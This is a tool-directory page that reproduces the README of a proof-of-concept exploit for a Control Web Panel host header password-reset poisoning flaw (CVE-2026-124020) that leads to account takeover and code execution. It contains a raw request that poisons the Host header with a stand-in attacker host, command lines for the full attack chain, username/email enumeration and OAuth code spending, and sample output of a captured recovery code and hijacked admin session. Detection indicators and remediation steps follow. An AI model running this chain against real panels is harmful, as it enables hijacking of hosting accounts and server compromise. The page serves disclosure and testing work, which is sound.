Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-124020 — Python PoC for CVE-2026-124020: Control Web Panel < 1.30.6 host header password-reset poisoning, recovery code capture, account takeover and RCE via File Manager and Crontab. | Kitploit
Tools/GitHubGitHub/llcforge/cve-2026-124020
Privilege EscalationPassword AttacksVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration TestingRemote Access Tool
GitHubllcforge/cve-2026-124020

CVE-2026-124020

18h 21m agoNot yet reviewed
Share

Python PoC for CVE-2026-124020: Control Web Panel < 1.30.6 host header password-reset poisoning, recovery code capture, account takeover and RCE via File Manager and Crontab.

View Repository

CVE-2026-124020

Control Web Panel — Host Header Password Reset Poisoning to RCE

CVSS CVSS_31 CWE Language Fixed Disclosed


Overview

Control Web Panel (CWP) < 1.30.6 builds the password-reset link from the unauthenticated Host header. By poisoning this header, an attacker intercepts the reset link sent to the legitimate user, captures the live recovery code, and takes over any hosting account — then achieves code execution through the File Manager and Crontab modules.

FieldValue
CVECVE-2026-124020
CVSS 4.09.2 Critical — AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H
CVSS 3.18.1 High — AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-640 (Weak Password Recovery Mechanism for Forgotten Password)
AffectedCWP < 1.30.6 (both CWP and CWPpro)
FixedCWP 1.30.6
SiblingCVE-2026-124021 — same recovery code accepted by OAuth API on port 2304
Auth RequiredNone
Disclosed2026-11-18

Vulnerability Details

/login/index.php?acc=lostpass accepts username and email (acting as an exact-pair oracle) and then performs a loopback request to the internal reset route carrying the caller's $_SERVER['HTTP_HOST']. The reset URL mailed to the account owner is built from the attacker-supplied host:

POST /login/index.php?acc=lostpass HTTP/1.1
Host: attacker.example:8080
Content-Type: application/x-www-form-urlencoded

username=victim&email=victim%40example.com

The legitimate user receives an email with a reset link pointing to attacker.example:8080. When they click it, the attacker captures the single-use recovery code and immediately calls /login/index.php?acc=newpass on the real panel to reset the password.

Additional exposure via CVE-2026-124021: Recovery codes are stored in oauth_authorization_codes and are also accepted as OAuth authorization by the port 2304 administration API — no reset step needed.


Attack Flow

flowchart LR
    A([Attacker]) -->|POST /login/index.php?acc=lostpass\nHost: attacker.example\nusername=admin&[email protected]| B[CWP < 1.30.6]
    B -->|Reset email sent\nlink: http://attacker.example/reset?code=TOKEN| C([Victim's Email])
    C -->|Victim clicks link| D[Attacker listener\ncaptures TOKEN]
    D -->|POST /login/index.php?acc=newpass\nidsession=TOKEN&newpassword=pwned| B
    B -->|Password reset\nfor admin account| E([Admin panel access])
    E -->|File Manager\nCrontab| F([Code execution\nas hosting account])

    style A fill:#3d1a1a,stroke:#f85149,color:#f85149
    style E fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff
    style F fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff

PoC Usage

Warning: Authorized testing only. This PoC starts a listener that the victim must click. Never use against accounts you do not own.

Setup

pip install -r requirements.txt
# requirements: requests flask

Full attack chain

python3 poc.py \
    --target https://cwp.example.com:2083 \
    --username admin \
    --email [email protected] \
    --attacker-host attacker.example.com:8080

Expected output — vulnerable CWP:

[*] target: https://cwp.example.com:2083
[*] triggering password reset for admin ([email protected])
[+] reset email triggered — link will point to attacker.example.com:8080
[*] starting listener on :8080 — waiting for victim to click reset link...
[+] CAPTURED: recovery code = abc123def456...
[*] spending recovery code to reset password...
[+] VULNERABLE — admin password reset successfully
[*] logging in as admin...
[+] authenticated as: admin
[+] session cookie written to cookies.txt

Oracle mode — enumerate valid username/email pairs

python3 poc.py \
    --target https://cwp.example.com:2083 \
    --oracle \
    --username-list usernames.txt \
    --email [email protected]

CVE-2026-124021 — OAuth API code spend

# Use the captured code directly on the OAuth API without resetting the password
python3 poc.py \
    --target https://cwp.example.com:2304 \
    --oauth-code CAPTURED_TOKEN \
    --mode oauth

Available flags

FlagDescription
--target URLCWP panel URL (required)
--username NAMETarget CWP username
--email EMAILAccount's registered email
--attacker-host HOST:PORTAttacker listener address
--oracleUsername/email pair enumeration
--oauth-code CODESpend captured code on OAuth API (CVE-2026-124021)
--mode reset|oauthAttack mode (default: reset)
--proxy URLHTTP proxy for Burp Suite

Expected output — patched build (CWP 1.30.6)

[*] triggering reset for admin...
[*] POST /login/index.php?acc=lostpass
    Host header ignored — reset link uses configured server hostname
[-] reset link does not point to attacker host
[+] NOT vulnerable

Detection

IndicatorNotes
Host header mismatching server address in reset requestWeb server log: Host: value not matching CWP's own hostname
Password reset emails with unexpected link domainEmail gateway: outbound messages containing foreign hostnames in links
Recovery code spent from unexpected IPCWP audit log: acc=newpass from IP different from email click

Impact

Full account takeover for any CWP user whose username and email are known. With an administrator account the attacker can upload PHP files via File Manager, schedule them via Crontab, and achieve code execution as the hosting account. VulnCheck counts ~124k internet-facing CWP instances.


Remediation

Upgrade to CWP 1.30.6. The fix builds reset links from the configured server hostname rather than from the Host header.

ActionDetail
Upgrade CWP1.30.6 from control-webpanel.com
Rotate admin credentialsAll accounts potentially exposed
Monitor reset emailsAlert on outbound reset links pointing to unexpected domains
Restrict port 2304Firewall admin API access to management IPs only

References

  • VulnCheck CVE-2026-124020: https://vulncheck.com/advisories/cwp-host-header
  • CVE-2026-124021 (OAuth sibling): https://www.cve.org/CVERecord?id=CVE-2026-124021
  • CWP changelog: https://control-webpanel.com/changelog
  • CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-124020

Disclaimer: For authorized security research and controlled lab use only. MIT License.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    871
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    548
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    383
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    361
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    305
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    280

Explore all tools

Browse our collection of tools

View all tools →